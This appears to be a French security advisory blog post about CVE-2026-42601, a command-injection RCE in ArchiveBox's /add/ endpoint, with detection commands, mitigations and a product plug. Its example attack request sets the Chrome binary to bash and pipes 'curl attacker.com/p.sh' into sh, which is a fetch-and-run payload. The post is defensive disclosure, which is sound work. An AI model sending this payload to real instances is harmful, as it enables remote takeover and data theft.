Retour au blog
CVE-2026-42601ArchiveBoxRCEcommand injectionself-hostedCVE

ArchiveBox CVE-2026-42601 : RCE via /add/ — aucun patch disponible (CVSS 9.8)

ArchiveBox ≤ 0.8.6rc0 : l'endpoint /add/ injecte une config JSON non validée dans les variables d'environnement des plugins. RCE non auth, aucun correctif officiel. Mitigation.

15 mai 20265 min de lecture

ArchiveBox est un outil d'archivage web open-source ultra-populaire dans la communauté des indie hackers, archivistes, et équipes recherche — il sauvegarde des pages web localement avec leurs assets, captures d'écran, PDF, WARC, etc. CVE-2026-42601 (CVSS 9.8) révèle une vulnérabilité critique dans son endpoint /add/ : un champ JSON config envoyé par l'utilisateur est mergé dans la configuration de crawl sans validation, puis exporté comme variables d'environnement aux plugins d'archivage. Résultat : injection d'arguments arbitraires et exécution de code à distance.

Le détail qui fait mal : aucun patch officiel n'est disponible à ce jour. Toutes les versions ≤ 0.8.6rc0 sont vulnérables, et l'unique mitigation viable consiste à isoler ou retirer le service jusqu'à publication d'un correctif.


Détails techniques

Composant vulnérable

ArchiveBox expose une interface web pour ajouter de nouvelles URLs à archiver. L'endpoint /add/ (vue AddView dans core/views.py) accepte un champ JSON config qui devait initialement permettre à un admin de personnaliser le crawl par URL (timeout, user-agent, etc.).

Le problème : ce JSON est mergé directement dans la configuration globale sans aucune sanitization. Puis, quand les plugins d'archivage s'exécutent (wget, youtube-dl, chrome --headless, singlefile, etc.), la config résultante est exportée comme variables d'environnement au processus enfant.

Le chemin d'exploitation

# Pseudo-code reconstitué — pattern vulnérable
def AddView(request):
    url = request.POST.get("url")
    user_config = json.loads(request.POST.get("config", "{}"))
    
    crawl_config = {**DEFAULT_CONFIG, **user_config}  # ⚠️ merge non validé
    
    for plugin in plugins:
        env = {k.upper(): str(v) for k, v in crawl_config.items()}  # ⚠️ tous les keys deviennent env vars
        subprocess.run([plugin.command, url], env=env)

Un attaquant envoie un POST :

{
  "url": "https://example.com",
  "config": {
    "CHROME_BINARY": "/usr/bin/bash",
    "CHROME_ARGS": "-c 'curl attacker.com/p.sh | sh'"
  }
}

Le plugin Chrome reçoit ces variables comme env, et au lieu de lancer le navigateur, lance bash avec le payload.

Caractéristiques

ChampValeur
CVSS 3.19.8 (CRITICAL)
VecteurAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-78 (OS Command Injection) + CWE-454 (External Initialization of Trusted Variables)
AuthentificationAucune par défaut sur les déploiements publics
État du correctifAucun patch officiel disponible

Produits et versions affectés

ProduitVersions affectéesVersion corrigée
ArchiveBox≤ 0.8.6rc0 (toutes versions actuelles)❌ Aucune

Vérifie ta version :

# Docker
docker exec archivebox archivebox version

# Pip
pip show archivebox | grep Version

Exploitation et impact

Surface d'exposition réelle

Beaucoup d'instances ArchiveBox sont exposées publiquement sans authentification :

  • Personal hosting d'archivistes amateurs
  • Bibliothèques universitaires utilisant ArchiveBox comme "Wayback Machine" privée
  • Plateformes communautaires (mémoire web, journalisme citoyen)

Une recherche Shodan/Censys montre régulièrement plusieurs milliers d'instances accessibles. Toutes sont immédiatement exploitables.

Impact post-exploitation

  • RCE dans le conteneur/container ArchiveBox : accès au filesystem, aux archives stockées
  • Vol de données archivées : pour des contenus journalistiques ou de recherche, ça peut inclure des sources sensibles, des leaks documentés
  • Pivot LAN : ArchiveBox tourne souvent sur un homelab ou un VPS partagé
  • Recrutement botnet / cryptomining : les ressources CPU sont substantielles vu les processus de crawl

Public exploit

Aucun PoC public détaillé à ce jour, mais l'exploit est trivial vu la description publique. Compte 24-48h avant les premiers scanners automatisés.


Détection et IOC

Logs ArchiveBox

# Recherche d'appels /add/ avec un body JSON config non standard
grep -E "POST /add" /var/log/archivebox/access.log | \
  grep -E "config.*CHROME|config.*BINARY|config.*PATH"

Logs système

# Processus lancés par ArchiveBox avec des binaires inattendus
ps -ef | grep -i "archivebox" | grep -vE "wget|chrome|python|node"

# Variables d'environnement injectées de façon louche
# (inspecte les processus enfants via /proc)
for pid in $(pgrep -P $(pgrep archivebox)); do
  cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "binary|command|args"
done

Indicateurs de compromission

  • Connexions sortantes inattendues depuis le conteneur/host ArchiveBox
  • Fichiers binaires ajoutés dans /tmp, /var/tmp, /dev/shm
  • Modifications de crontab ou systemd services
  • Trafic réseau anormal vers des destinations non-archivées

Mitigation — sans patch officiel

Option 1 — Isolation réseau immédiate

Si ton instance ArchiveBox est exposée sur Internet :

# Bloquer toute requête HTTP entrante hors du LAN
sudo ufw deny in 8000/tcp
sudo ufw allow from 192.168.1.0/24 to any port 8000

# Ou via Docker
# Modifier docker-compose pour binder uniquement sur 127.0.0.1
ports:
  - "127.0.0.1:8000:8000"

Puis recharge :

docker compose up -d

Option 2 — Authentification obligatoire

ArchiveBox supporte une authentification basique. Vérifie qu'elle est activée :

# Configuration ArchiveBox
archivebox config --set PUBLIC_INDEX=False
archivebox config --set PUBLIC_ADD_VIEW=False
archivebox config --set REQUIRE_LOGIN=True

Puis crée un compte admin si pas déjà fait :

archivebox manage createsuperuser

⚠️ Cette mitigation est partielle : un attaquant qui devine ou phish un compte admin peut toujours exploiter.

Option 3 — Reverse proxy avec WAF

Si tu maintiens une exposition publique (cas peu recommandé), mets un Nginx + ModSecurity devant :

location /add/ {
    # Bloque les requêtes contenant des patterns suspects dans le body JSON
    if ($request_body ~ "(_BINARY|_COMMAND|_ARGS|PATH|/bin/|/usr/bin/)") {
        return 403;
    }
    proxy_pass http://archivebox:8000;
}

Option 4 — Retrait pur et simple

Pour les instances de production avec données sensibles : éteindre le service jusqu'à publication d'un patch officiel par l'équipe ArchiveBox. C'est dur mais c'est la seule option qui élimine totalement le risque.

docker compose stop archivebox

Surveillance proactive

Abonne-toi au repo GitHub ArchiveBox pour être notifié dès qu'un patch est publié :

https://github.com/ArchiveBox/ArchiveBox/releases

Pourquoi surveiller en continu votre selfhosted

Les outils self-hosted (ArchiveBox, Vaultwarden, Bitwarden CE, Jellyfin, Nextcloud, Gitea…) sont massivement déployés dans les homelabs et les PME, souvent sans visibilité de sécurité. Une CVE comme CVE-2026-42601 — sans patch, sans communication large, sans CISA KEV — peut passer inaperçue plusieurs semaines tout en étant exploitable triviallement.

Avec cveo.tech, inventoriez vos services self-hosted comme vos systèmes core et recevez un email automatique dès qu'une CVE critique vise une de vos versions exactes — même quand l'éditeur ne communique pas, votre veille est à jour.

Surveillez les CVE avec l'IA

Recherche IA, scoring CVSS, surveillance de parc et alertes automatiques.